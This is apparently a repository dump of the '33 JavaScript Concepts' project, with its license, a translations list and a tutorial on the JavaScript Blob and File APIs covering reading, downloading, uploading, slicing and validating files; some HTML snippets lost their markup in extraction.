MIT License
Copyright (c) 2018 Leonardo Maldonado
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
33 Concepts Every JavaScript Developer Should Know
================================================
FILE: TRANSLATIONS.md
================================================
# Translations
This project has been translated into 40+ languages thanks to our amazing community of contributors.
## Available Translations
- [اَلْعَرَبِيَّةُ (Arabic)](https://github.com/amrsekilly/33-js-concepts) — Amr Elsekilly
- [Български (Bulgarian)](https://github.com/thewebmasterp/33-js-concepts) — thewebmasterp
- [汉语 (Chinese)](https://github.com/stephentian/33-js-concepts) — Re Tian
- [Português do Brasil (Brazilian Portuguese)](https://github.com/tiagoboeing/33-js-concepts) — Tiago Boeing
- [한국어 (Korean)](https://github.com/yjs03057/33-js-concepts.git) — Suin Lee
- [Español (Spanish)](https://github.com/adonismendozaperez/33-js-conceptos) — Adonis Mendoza
- [Türkçe (Turkish)](https://github.com/ilker0/33-js-concepts) — İlker Demir
- [русский язык (Russian)](https://github.com/gumennii/33-js-concepts) — Mihail Gumennii
- [Tiếng Việt (Vietnamese)](https://github.com/nguyentranchung/33-js-concepts) — Nguyễn Trần Chung
- [Polski (Polish)](https://github.com/lip3k/33-js-concepts) — Dawid Lipinski
- [فارسی (Persian)](https://github.com/majidalavizadeh/33-js-concepts) — Majid Alavizadeh
- [Bahasa Indonesia (Indonesian)](https://github.com/rijdz/33-js-concepts) — Rijdzuan Sampoerna
- [Français (French)](https://github.com/robinmetral/33-concepts-js) — Robin Métral
- [हिन्दी (Hindi)](https://github.com/vikaschauhan/33-js-concepts) — Vikas Chauhan
- [Ελληνικά (Greek)](https://github.com/DimitrisZx/33-js-concepts) — Dimitris Zarachanis
- [日本語 (Japanese)](https://github.com/oimo23/33-js-concepts) — oimo23
- [Deutsch (German)](https://github.com/burhannn/33-js-concepts) — burhannn
- [украї́нська мо́ва (Ukrainian)](https://github.com/AndrewSavetchuk/33-js-concepts-ukrainian-translation) — Andrew Savetchuk
- [සිංහල (Sinhala)](https://github.com/ududsha/33-js-concepts) — Udaya Shamendra
- [Italiano (Italian)](https://github.com/Donearm/33-js-concepts) — Gianluca Fiore
- [Latviešu (Latvian)](https://github.com/ANormalStick/33-js-concepts) — Jānis Īvāns
- [Afaan Oromoo (Oromo)](https://github.com/Amandagne/33-js-concepts) — Amanuel Dagnachew
- [ภาษาไทย (Thai)](https://github.com/ninearif/33-js-concepts) — Arif Waram
- [Català (Catalan)](https://github.com/marioestradaf/33-js-concepts) — Mario Estrada
- [Svenska (Swedish)](https://github.com/FenixHongell/33-js-concepts/) — Fenix Hongell
- [ខ្មែរ (Khmer)](https://github.com/Chhunneng/33-js-concepts) — Chrea Chanchhunneng
- [አማርኛ (Ethiopian)](https://github.com/hmhard/33-js-concepts) — Miniyahil Kebede (ምንያህል ከበደ)
- [Беларуская мова (Belarussian)](https://github.com/Yafimau/33-js-concepts) — Dzianis Yafimau
- [O'zbekcha (Uzbek)](https://github.com/smnv-shokh/33-js-concepts) — Shokhrukh Usmonov
- [Urdu (اردو)](https://github.com/sudoyasir/33-js-concepts) — Yasir Nawaz
- [हिन्दी (Hindi)](https://github.com/milostivyy/33-js-concepts) — Mahima Chauhan
- [বাংলা (Bengali)](https://github.com/Jisan-mia/33-js-concepts) — Jisan Mia
- [ગુજરાતી (Gujarati)](https://github.com/VatsalBhuva11/33-js-concepts) — Vatsal Bhuva
- [سنڌي (Sindhi)](https://github.com/Sunny-unik/33-js-concepts) — Sunny Gandhwani
- [भोजपुरी (Bhojpuri)](https://github.com/debnath003/33-js-concepts) — Pronay Debnath
- [ਪੰਜਾਬੀ (Punjabi)](https://github.com/Harshdev098/33-js-concepts) — Harsh Dev Pathak
- [Latin (Latin)](https://github.com/Harshdev098/33-js-concepts) — Harsh Dev Pathak
- [മലയാളം (Malayalam)](https://github.com/Stark-Akshay/33-js-concepts) — Akshay Manoj
- [Yorùbá (Yoruba)](https://github.com/ayobaj/33-js-concepts) — Ayomide Bajulaye
- [עברית (Hebrew)](https://github.com/rafyzg/33-js-concepts) — Refael Yzgea
- [Nederlands (Dutch)](https://github.com/dlvisser/33-js-concepts) — Dave Visser
- [தமிழ் (Tamil)](https://github.com/UdayaKrishnanM/33-js-concepts) — Udaya Krishnan M
---
## Want to Translate?
We'd love to have more translations! See our [Contributing Guidelines](CONTRIBUTING.md) for details on how to submit a translation.
================================================
FILE: docs/5c8wamucvfketshf1eyrw254gz94jwre.txt
================================================
5c8wamucvfketshf1eyrw254gz94jwre
================================================
FILE: docs/beyond/concepts/blob-file-api.mdx
================================================
---
title: "Blob & File API in JavaScript"
sidebarTitle: "Blob & File API"
description: "Learn JavaScript Blob and File APIs for binary data. Create, read, and manipulate files, handle uploads, generate downloads, and work with FileReader."
"og:type": "article"
"article:author": "Leonardo Maldonado"
"article:section": "Data Handling"
"article:tag": "blob file api, file upload, filereader, binary data, file download, file handling"
---
How do you let users upload images? How do you create a downloadable file from data generated in JavaScript? How can you read the contents of a file the user selected?
The **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** and **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** APIs are JavaScript's tools for working with binary data. They power everything from profile picture uploads to CSV exports to image processing in the browser.
```javascript
// Create a text file and download it
const content = 'Hello, World!'
const blob = new Blob([content], { type: 'text/plain' })
const url = URL.createObjectURL(blob)
const link = document.createElement('a')
link.href = url
link.download = 'hello.txt'
link.click()
URL.revokeObjectURL(url) // Clean up memory
```
Understanding these APIs unlocks powerful client-side file handling without needing a server.
**What you'll learn in this guide:**
- What Blobs are and how to create them from strings, arrays, and other data
- How the File interface extends Blob for user-selected files
- Reading file contents with FileReader (text, data URLs, ArrayBuffers)
- Creating downloadable files with Blob URLs
- Uploading files with FormData
- Slicing large files for chunked uploads
- Converting between Blobs, ArrayBuffers, and Data URLs
**Prerequisites:** This guide assumes you understand [Promises](/concepts/promises) and [async/await](/concepts/async-await). If you're not familiar with those concepts, read those guides first. You should also be comfortable with basic DOM manipulation.
---
## What is a Blob in JavaScript?
A **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** (Binary Large Object) is an immutable, file-like object that represents raw binary data. According to the [W3C File API specification](https://www.w3.org/TR/FileAPI/#blob-section), a Blob is a container that can hold any kind of data: text, images, audio, video, or arbitrary bytes. Blobs are the foundation for file handling in JavaScript, as the File interface is built on top of Blob.
Unlike regular JavaScript strings or arrays, Blobs are designed to efficiently handle large amounts of binary data. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/API/Blob), they're immutable — once created, you can't change their contents. Instead, you create new Blobs from existing ones.
```javascript
// Creating Blobs from different data types
const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })
const jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' })
const htmlBlob = new Blob(['
Title
'], { type: 'text/html' })
console.log(textBlob.size) // 13 (bytes)
console.log(textBlob.type) // "text/plain"
```
---
## The Filing Cabinet Analogy
Imagine a filing cabinet in an office. The cabinet (Blob) holds documents, but you can't read them just by looking at the cabinet. You need to open it and take out the contents.
```
┌─────────────────────────────────────────────────────────────────────────┐
│ BLOB: THE FILING CABINET │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────────┐ │
│ │ │ Blob Properties: │
│ │ ┌──────────┐ │ • size: how many bytes (papers) inside │
│ │ │ [data] │ │ • type: what kind of content (MIME type) │
│ │ │ [data] │ │ │
│ │ │ [data] │ │ To read the contents, you need: │
│ │ └──────────┘ │ • FileReader (opens and reads) │
│ │ │ • blob.text() / blob.arrayBuffer() (async) │
│ │ 📁 BLOB │ • URL.createObjectURL() (creates a link) │
│ └────────────────┘ │
│ │
│ You can't change papers inside, but you can: │
│ • Create a new cabinet with different papers (new Blob) │
│ • Take a portion of papers (blob.slice()) │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
The key insight: **Blobs store data but don't expose it directly**. You need tools like [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader) or Blob methods to access the contents.
---
## Creating Blobs
The [`Blob()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/Blob/Blob) takes two arguments: an array of data parts and an options object.
### Basic Blob Creation
```javascript
// Syntax: new Blob(blobParts, options)
// From a string
const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })
// From multiple strings (they're concatenated)
const multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' })
// From JSON data
const user = { name: 'Alice', age: 30 }
const jsonBlob = new Blob(
[JSON.stringify(user, null, 2)],
{ type: 'application/json' }
)
// From HTML
const htmlBlob = new Blob(
['
Hello
'],
{ type: 'text/html' }
)
```
### From Typed Arrays and ArrayBuffers
Blobs can also be created from binary data like [Typed Arrays](/beyond/concepts/typed-arrays-arraybuffers):
```javascript
// From a Uint8Array
const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" in ASCII
const binaryBlob = new Blob([bytes], { type: 'application/octet-stream' })
// From an ArrayBuffer
const buffer = new ArrayBuffer(8)
const view = new DataView(buffer)
view.setFloat64(0, Math.PI)
const bufferBlob = new Blob([buffer])
// Combining different data types
const mixedBlob = new Blob([
'Header: ',
bytes,
'\nFooter'
], { type: 'text/plain' })
```
### Blob Properties
Every Blob has two read-only properties:
| Property | Description | Example |
|----------|-------------|---------|
| `size` | Size in bytes | `blob.size` returns `13` for "Hello, World!" |
| `type` | MIME type string | `blob.type` returns `"text/plain"` |
```javascript
const blob = new Blob(['Hello, World!'], { type: 'text/plain' })
console.log(blob.size) // 13
console.log(blob.type) // "text/plain"
```
---
## The File Interface
The **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** interface extends Blob, adding properties specific to files from the user's system. When users select files through `` or drag-and-drop, you get File objects.
```
┌─────────────────────────────────────────────────────────────────────────┐
│ FILE EXTENDS BLOB │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ BLOB │ │
│ │ • size (bytes) │ │
│ │ • type (MIME type) │ │
│ │ • slice(), text(), arrayBuffer(), stream() │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────────────────────┐ │ │
│ │ │ FILE │ │ │
│ │ │ + name (filename with extension) │ │ │
│ │ │ + lastModified (timestamp) │ │ │
│ │ │ + webkitRelativePath (for directory uploads) │ │ │
│ │ └─────────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ File inherits everything from Blob, plus file-specific metadata. │
│ Any API that accepts Blob also accepts File. │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
### Getting Files from User Input
The most common way to get File objects is from an `` element:
```javascript
// HTML:
const fileInput = document.getElementById('fileInput')
fileInput.addEventListener('change', (event) => {
const files = event.target.files // FileList object
for (const file of files) {
console.log('Name:', file.name) // "photo.jpg"
console.log('Size:', file.size) // 1024000 (bytes)
console.log('Type:', file.type) // "image/jpeg"
console.log('Modified:', file.lastModified) // 1704067200000 (timestamp)
console.log('Modified Date:', new Date(file.lastModified))
}
})
```
### Creating File Objects Programmatically
You can create File objects directly with the [`File()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/File/File):
```javascript
// Syntax: new File(fileBits, fileName, options)
const file = new File(
['Hello, World!'], // Content (same as Blob)
'greeting.txt', // Filename
{
type: 'text/plain', // MIME type
lastModified: Date.now() // Optional timestamp
}
)
console.log(file.name) // "greeting.txt"
console.log(file.size) // 13
console.log(file.type) // "text/plain"
```
### Drag and Drop Files
Files can also come from drag-and-drop operations:
```javascript
const dropZone = document.getElementById('dropZone')
dropZone.addEventListener('dragover', (e) => {
e.preventDefault() // Required to allow drop
dropZone.classList.add('drag-over')
})
dropZone.addEventListener('dragleave', () => {
dropZone.classList.remove('drag-over')
})
dropZone.addEventListener('drop', (e) => {
e.preventDefault()
dropZone.classList.remove('drag-over')
const files = e.dataTransfer.files // FileList
for (const file of files) {
console.log('Dropped:', file.name, file.type)
}
})
```
---
## Reading Files with FileReader
**[FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader)** is an asynchronous API for reading Blob and File contents. It provides different methods depending on how you want the data:
| Method | Returns | Use Case |
|--------|---------|----------|
| `readAsText(blob)` | String | Text files, JSON, CSV |
| `readAsDataURL(blob)` | Data URL string | Image previews, embedding |
| `readAsArrayBuffer(blob)` | ArrayBuffer | Binary processing |
| `readAsBinaryString(blob)` | Binary string | Legacy (deprecated) |
### Reading Text Content
```javascript
function readTextFile(file) {
return new Promise((resolve, reject) => {
const reader = new FileReader()
reader.onload = () => resolve(reader.result)
reader.onerror = () => reject(reader.error)
reader.readAsText(file)
})
}
// Usage with file input
fileInput.addEventListener('change', async (e) => {
const file = e.target.files[0]
if (file.type === 'text/plain' || file.name.endsWith('.txt')) {
const content = await readTextFile(file)
console.log(content)
}
})
```
### Reading as Data URL (for Image Previews)
A [Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) is a string that contains the file data encoded as base64. It can be used directly as an `src` attribute for images:
```javascript
function readAsDataURL(file) {
return new Promise((resolve, reject) => {
const reader = new FileReader()
reader.onload = () => resolve(reader.result)
reader.onerror = () => reject(reader.error)
reader.readAsDataURL(file)
})
}
// Image preview example
const imageInput = document.getElementById('imageInput')
const preview = document.getElementById('preview')
imageInput.addEventListener('change', async (e) => {
const file = e.target.files[0]
if (file && file.type.startsWith('image/')) {
const dataUrl = await readAsDataURL(file)
preview.src = dataUrl // Display the image
// dataUrl looks like: "data:image/jpeg;base64,/9j/4AAQSkZJRg..."
}
})
```
### Reading as ArrayBuffer
For binary processing, read the file as an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer):
```javascript
function readAsArrayBuffer(file) {
return new Promise((resolve, reject) => {
const reader = new FileReader()
reader.onload = () => resolve(reader.result)
reader.onerror = () => reject(reader.error)
reader.readAsArrayBuffer(file)
})
}
// Example: Check if a file is a PNG image by reading magic bytes
async function isPNG(file) {
const buffer = await readAsArrayBuffer(file.slice(0, 8))
const bytes = new Uint8Array(buffer)
// PNG magic number: 137 80 78 71 13 10 26 10
const pngSignature = [137, 80, 78, 71, 13, 10, 26, 10]
return pngSignature.every((byte, i) => bytes[i] === byte)
}
```
### FileReader Events
FileReader provides several events for monitoring the reading process:
```javascript
const reader = new FileReader()
reader.onloadstart = () => console.log('Started reading')
reader.onprogress = (e) => {
if (e.lengthComputable) {
const percent = (e.loaded / e.total) * 100
console.log(`Progress: ${percent.toFixed(1)}%`)
}
}
reader.onload = () => console.log('Read complete:', reader.result)
reader.onerror = () => console.error('Error:', reader.error)
reader.onloadend = () => console.log('Finished (success or failure)')
reader.readAsText(file)
```
---
## Modern Blob Methods
Modern browsers support Promise-based methods directly on Blob objects, which are often cleaner than FileReader:
```javascript
const blob = new Blob(['Hello, World!'], { type: 'text/plain' })
// Read as text (Promise-based)
const text = await blob.text()
console.log(text) // "Hello, World!"
// Read as ArrayBuffer
const buffer = await blob.arrayBuffer()
console.log(new Uint8Array(buffer)) // Uint8Array [72, 101, ...]
// Read as stream (for large files)
const stream = blob.stream()
const reader = stream.getReader()
while (true) {
const { done, value } = await reader.read()
if (done) break
console.log('Chunk:', value) // Uint8Array chunks
}
```
**When to use what:** For simple reads, use `blob.text()` or `blob.arrayBuffer()`. For large files where you want to process data as it streams, use `blob.stream()`. Use FileReader when you need progress events or Data URLs.
---
## Creating Downloadable Files
One of the most useful Blob applications is generating downloadable files in the browser. The key is [`URL.createObjectURL()`](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL_static).
### Basic Download
```javascript
function downloadBlob(blob, filename) {
// Create a URL pointing to the blob
const url = URL.createObjectURL(blob)
// Create a temporary link element
const link = document.createElement('a')
link.href = url
link.download = filename // Suggested filename
// Trigger the download
document.body.appendChild(link)
link.click()
document.body.removeChild(link)
// Clean up the URL (free memory)
URL.revokeObjectURL(url)
}
// Download a text file
const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })
downloadBlob(textBlob, 'greeting.txt')
// Download JSON data
const data = { users: [{ name: 'Alice' }, { name: 'Bob' }] }
const jsonBlob = new Blob(
[JSON.stringify(data, null, 2)],
{ type: 'application/json' }
)
downloadBlob(jsonBlob, 'users.json')
```
### Export Table Data as CSV
```javascript
function tableToCSV(tableData, headers) {
const rows = [
headers.join(','),
...tableData.map(row =>
row.map(cell => `"${cell}"`).join(',')
)
]
return rows.join('\n')
}
function downloadCSV(tableData, headers, filename) {
const csv = tableToCSV(tableData, headers)
const blob = new Blob([csv], { type: 'text/csv' })
downloadBlob(blob, filename)
}
// Usage
const headers = ['Name', 'Email', 'Role']
const data = [
['Alice', 'alice@example.com', 'Admin'],
['Bob', 'bob@example.com', 'User']
]
downloadCSV(data, headers, 'users.csv')
```
### Memory Management with Object URLs
**Memory Leak Risk:** Every `URL.createObjectURL()` call allocates memory that isn't automatically freed. Always call `URL.revokeObjectURL()` when you're done with the URL, or you'll leak memory.
```javascript
// ❌ WRONG - Memory leak!
function displayImage(blob) {
const url = URL.createObjectURL(blob)
img.src = url
// URL is never revoked, memory is leaked
}
// ✓ CORRECT - Clean up after use
function displayImage(blob) {
const url = URL.createObjectURL(blob)
img.src = url
img.onload = () => {
URL.revokeObjectURL(url) // Free memory after image loads
}
}
// ✓ CORRECT - Clean up previous URL before creating new one
let currentUrl = null
function displayImage(blob) {
if (currentUrl) {
URL.revokeObjectURL(currentUrl)
}
currentUrl = URL.createObjectURL(blob)
img.src = currentUrl
}
```
---
## Uploading Files
### Using FormData
The most common way to upload files is with [FormData](https://developer.mozilla.org/en-US/docs/Web/API/FormData):
```javascript
async function uploadFile(file) {
const formData = new FormData()
formData.append('file', file)
formData.append('description', 'My uploaded file')
const response = await fetch('/api/upload', {
method: 'POST',
body: formData
// Don't set Content-Type header - browser sets it with boundary
})
if (!response.ok) {
throw new Error(`Upload failed: ${response.status}`)
}
return response.json()
}
// With file input
fileInput.addEventListener('change', async (e) => {
const file = e.target.files[0]
try {
const result = await uploadFile(file)
console.log('Uploaded:', result)
} catch (error) {
console.error('Upload error:', error)
}
})
```
### Uploading Multiple Files
```javascript
async function uploadMultipleFiles(files) {
const formData = new FormData()
for (const file of files) {
formData.append('files', file) // Same key for multiple files
}
const response = await fetch('/api/upload-multiple', {
method: 'POST',
body: formData
})
return response.json()
}
```
### Upload with Progress
For large files, show upload progress:
```javascript
function uploadWithProgress(file, onProgress) {
return new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest()
const formData = new FormData()
formData.append('file', file)
xhr.upload.addEventListener('progress', (e) => {
if (e.lengthComputable) {
const percent = (e.loaded / e.total) * 100
onProgress(percent)
}
})
xhr.addEventListener('load', () => {
if (xhr.status >= 200 && xhr.status < 300) {
resolve(JSON.parse(xhr.responseText))
} else {
reject(new Error(`Upload failed: ${xhr.status}`))
}
})
xhr.addEventListener('error', () => reject(new Error('Network error')))
xhr.open('POST', '/api/upload')
xhr.send(formData)
})
}
// Usage
uploadWithProgress(file, (percent) => {
progressBar.style.width = `${percent}%`
progressText.textContent = `${percent.toFixed(0)}%`
})
```
---
## Slicing Blobs
The [`slice()`](https://developer.mozilla.org/en-US/docs/Web/API/Blob/slice) method creates a new Blob containing a portion of the original:
```javascript
const blob = new Blob(['Hello, World!'], { type: 'text/plain' })
// Syntax: blob.slice(start, end, contentType)
const firstFive = blob.slice(0, 5) // "Hello"
const lastSix = blob.slice(-6) // "World!"
const middle = blob.slice(7, 12) // "World"
const withNewType = blob.slice(0, 5, 'text/html') // Change MIME type
// Read the sliced content
console.log(await firstFive.text()) // "Hello"
```
### Chunked File Upload
For very large files, split them into chunks:
```javascript
async function uploadInChunks(file, chunkSize = 1024 * 1024) { // 1MB chunks
const totalChunks = Math.ceil(file.size / chunkSize)
for (let i = 0; i < totalChunks; i++) {
const start = i * chunkSize
const end = Math.min(start + chunkSize, file.size)
const chunk = file.slice(start, end)
const formData = new FormData()
formData.append('chunk', chunk)
formData.append('chunkIndex', i)
formData.append('totalChunks', totalChunks)
formData.append('filename', file.name)
await fetch('/api/upload-chunk', {
method: 'POST',
body: formData
})
console.log(`Uploaded chunk ${i + 1}/${totalChunks}`)
}
}
```
### Reading Large Files in Chunks
For processing large files without loading everything into memory:
```javascript
async function processLargeFile(file, chunkSize = 1024 * 1024) {
let offset = 0
while (offset < file.size) {
const chunk = file.slice(offset, offset + chunkSize)
const content = await chunk.text()
// Process this chunk
processChunk(content)
offset += chunkSize
console.log(`Processed ${Math.min(offset, file.size)} / ${file.size} bytes`)
}
}
```
---
## Converting Between Formats
### Blob to Data URL
```javascript
// Using FileReader
function blobToDataURL(blob) {
return new Promise((resolve, reject) => {
const reader = new FileReader()
reader.onload = () => resolve(reader.result)
reader.onerror = reject
reader.readAsDataURL(blob)
})
}
// Usage
const blob = new Blob(['Hello'], { type: 'text/plain' })
const dataUrl = await blobToDataURL(blob)
// "data:text/plain;base64,SGVsbG8="
```
### Data URL to Blob
```javascript
function dataURLtoBlob(dataUrl) {
const [header, base64Data] = dataUrl.split(',')
const mimeType = header.match(/:(.*?);/)[1]
const binaryString = atob(base64Data)
const bytes = new Uint8Array(binaryString.length)
for (let i = 0; i < binaryString.length; i++) {
bytes[i] = binaryString.charCodeAt(i)
}
return new Blob([bytes], { type: mimeType })
}
// Usage
const dataUrl = 'data:text/plain;base64,SGVsbG8='
const blob = dataURLtoBlob(dataUrl)
console.log(await blob.text()) // "Hello"
```
### Blob to ArrayBuffer and Back
```javascript
// Blob to ArrayBuffer
const blob = new Blob(['Hello'])
const buffer = await blob.arrayBuffer()
// ArrayBuffer to Blob
const newBlob = new Blob([buffer])
```
### Canvas to Blob
```javascript
// Get a canvas element
const canvas = document.getElementById('myCanvas')
// Convert to Blob (async)
canvas.toBlob((blob) => {
// blob is now a Blob with image data
downloadBlob(blob, 'canvas-image.png')
}, 'image/png', 0.9) // format, quality
// Or with a Promise wrapper
function canvasToBlob(canvas, type = 'image/png', quality = 0.9) {
return new Promise((resolve) => {
canvas.toBlob(resolve, type, quality)
})
}
```
---
## Common Mistakes
### The #1 Blob Mistake: Forgetting to Revoke URLs
```javascript
// ❌ WRONG - Creates memory leak
function previewImages(files) {
for (const file of files) {
const img = document.createElement('img')
img.src = URL.createObjectURL(file) // Never revoked!
gallery.appendChild(img)
}
}
// ✓ CORRECT - Revoke after image loads
function previewImages(files) {
for (const file of files) {
const img = document.createElement('img')
const url = URL.createObjectURL(file)
img.onload = () => URL.revokeObjectURL(url)
img.src = url
gallery.appendChild(img)
}
}
```
### Setting Content-Type with FormData
```javascript
// ❌ WRONG - Don't set Content-Type for FormData
const formData = new FormData()
formData.append('file', file)
fetch('/api/upload', {
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data' // Wrong! Missing boundary
},
body: formData
})
// ✓ CORRECT - Let browser set Content-Type with boundary
fetch('/api/upload', {
method: 'POST',
// No Content-Type header - browser handles it
body: formData
})
```
### Not Validating File Types
```javascript
// ❌ WRONG - Trusting file extension
if (file.name.endsWith('.jpg')) {
// User could rename any file to .jpg
}
// ✓ BETTER - Check MIME type
if (file.type.startsWith('image/')) {
// More reliable, but can still be spoofed
}
// ✓ BEST - Validate magic bytes for critical applications
async function isValidJPEG(file) {
const buffer = await file.slice(0, 3).arrayBuffer()
const bytes = new Uint8Array(buffer)
// JPEG magic number: FF D8 FF
return bytes[0] === 0xFF && bytes[1] === 0xD8 && bytes[2] === 0xFF
}
```
---
## Real-World Patterns
### Image Compression Before Upload
```javascript
async function compressImage(file, maxWidth = 1200, quality = 0.8) {
// Create an image element
const img = new Image()
const url = URL.createObjectURL(file)
await new Promise((resolve, reject) => {
img.onload = resolve
img.onerror = reject
img.src = url
})
URL.revokeObjectURL(url)
// Calculate new dimensions
let { width, height } = img
if (width > maxWidth) {
height = (height * maxWidth) / width
width = maxWidth
}
// Draw to canvas
const canvas = document.createElement('canvas')
canvas.width = width
canvas.height = height
const ctx = canvas.getContext('2d')
ctx.drawImage(img, 0, 0, width, height)
// Convert back to blob
return new Promise((resolve) => {
canvas.toBlob(resolve, 'image/jpeg', quality)
})
}
// Usage
const compressed = await compressImage(originalFile)
console.log(`Original: ${originalFile.size}, Compressed: ${compressed.size}`)
```
### File Type Validation
```javascript
const ALLOWED_TYPES = {
'image/jpeg': [0xFF, 0xD8, 0xFF],
'image/png': [0x89, 0x50, 0x4E, 0x47],
'image/gif': [0x47, 0x49, 0x46],
'application/pdf': [0x25, 0x50, 0x44, 0x46]
}
async function validateFileType(file) {
const maxSignatureLength = Math.max(
...Object.values(ALLOWED_TYPES).map(sig => sig.length)
)
const buffer = await file.slice(0, maxSignatureLength).arrayBuffer()
const bytes = new Uint8Array(buffer)
for (const [mimeType, signature] of Object.entries(ALLOWED_TYPES)) {
if (signature.every((byte, i) => bytes[i] === byte)) {
return { valid: true, detectedType: mimeType }
}
}
return { valid: false, detectedType: null }
}
```
### Copy/Paste Image Handling
```javascript
document.addEventListener('paste', async (e) => {
const items = e.clipboardData?.items
if (!items) return
for (const item of items) {
if (item.type.startsWith('image/')) {
const file = item.getAsFile()
// Preview the pasted image
const url = URL.createObjectURL(file)
const img = document.createElement('img')
img.onload = () => URL.revokeObjectURL(url)
img.src = url
pasteTarget.appendChild(img)
}
}
})
```
---
## Key Takeaways
**The key things to remember about Blob and File APIs:**
1. **Blob is a container for binary data** — It stores raw bytes with a MIME type but doesn't expose contents directly. Use FileReader or Blob methods to read data.
2. **File extends Blob** — File adds `name`, `lastModified`, and other metadata. Any API accepting Blob also accepts File.
3. **FileReader is asynchronous** — Use `readAsText()`, `readAsDataURL()`, or `readAsArrayBuffer()` depending on your needs. Prefer `blob.text()` and `blob.arrayBuffer()` for simpler code.
4. **Object URLs need cleanup** — Always call `URL.revokeObjectURL()` after using `URL.createObjectURL()` to avoid memory leaks.
5. **Don't set Content-Type for FormData uploads** — The browser automatically sets the correct multipart boundary. Setting it manually breaks the upload.
6. **Blobs are immutable** — You can't modify a Blob. Use `slice()` to create new Blobs from portions of existing ones.
7. **Use slice() for large files** — Process files in chunks to avoid loading everything into memory at once.
8. **Data URLs are synchronous but heavy** — They're convenient for small files but base64 encoding increases size by ~33%.
9. **Validate files properly** — Don't trust file extensions or even MIME types. Check magic bytes for security-critical applications.
10. **FormData handles multiple files** — Append files with the same key to upload multiple files in one request.
---
## Test Your Knowledge
**Answer:**
File extends Blob, inheriting all its properties and methods while adding file-specific metadata:
- `name`: The filename (e.g., "photo.jpg")
- `lastModified`: Timestamp when the file was last modified
- `webkitRelativePath`: Path for directory uploads
Any API that accepts a Blob also accepts a File, since File is a subclass of Blob.
**Answer:**
`URL.createObjectURL()` creates a reference to the Blob in memory that persists until the page unloads or you explicitly revoke it. Each call allocates memory that won't be garbage collected automatically.
If you create many Object URLs without revoking them (like in an image gallery preview), you'll leak memory. Always revoke the URL when you're done using it.
```javascript
const url = URL.createObjectURL(blob)
img.src = url
img.onload = () => URL.revokeObjectURL(url) // Clean up
```
**Answer:**
Two approaches:
```javascript
// Modern way (Promise-based)
const text = await file.text()
// Traditional way (FileReader)
const reader = new FileReader()
reader.onload = () => console.log(reader.result)
reader.readAsText(file)
```
The modern `blob.text()` method is cleaner for simple reads. Use FileReader when you need progress events.
**Answer:**
When uploading files with FormData, the Content-Type must be `multipart/form-data` with a specific boundary string that separates the parts. The browser generates this boundary automatically.
If you manually set `Content-Type: 'multipart/form-data'`, you won't include the boundary, and the server can't parse the request. Let the browser handle it:
```javascript
// Correct - no Content-Type header
fetch('/upload', { method: 'POST', body: formData })
```
**Answer:**
Use `blob.slice()` to read the file in chunks:
```javascript
async function processInChunks(file, chunkSize = 1024 * 1024) {
let offset = 0
while (offset < file.size) {
const chunk = file.slice(offset, offset + chunkSize)
const content = await chunk.text()
processChunk(content)
offset += chunkSize
}
}
```
This processes the file piece by piece, never loading more than `chunkSize` bytes into memory at once.
**Answer:**
**Data URLs** (`data:...base64,...`):
- Self-contained (no external reference)
- Can be stored, serialized, sent via JSON
- 33% larger than original (base64 overhead)
- Synchronous creation with FileReader
**Object URLs** (`blob:...`):
- Just a reference to the Blob in memory
- Must be revoked to free memory
- Same size as original data
- Only valid in the current document
Use Data URLs for small files you need to persist. Use Object URLs for temporary previews and large files.
---
## Frequently Asked Questions
`File` extends `Blob` with metadata properties: `name`, `lastModified`, and `webkitRelativePath`. A File is always a Blob, but a Blob is not a File. File objects come from user input (``) or drag-and-drop, while Blobs are created programmatically. The W3C File API specification defines this inheritance.
Create a Blob with your content, generate an Object URL with `URL.createObjectURL(blob)`, assign it to an anchor element's `href`, set the `download` attribute to a filename, and trigger a click. Always call `URL.revokeObjectURL()` afterward to free memory.
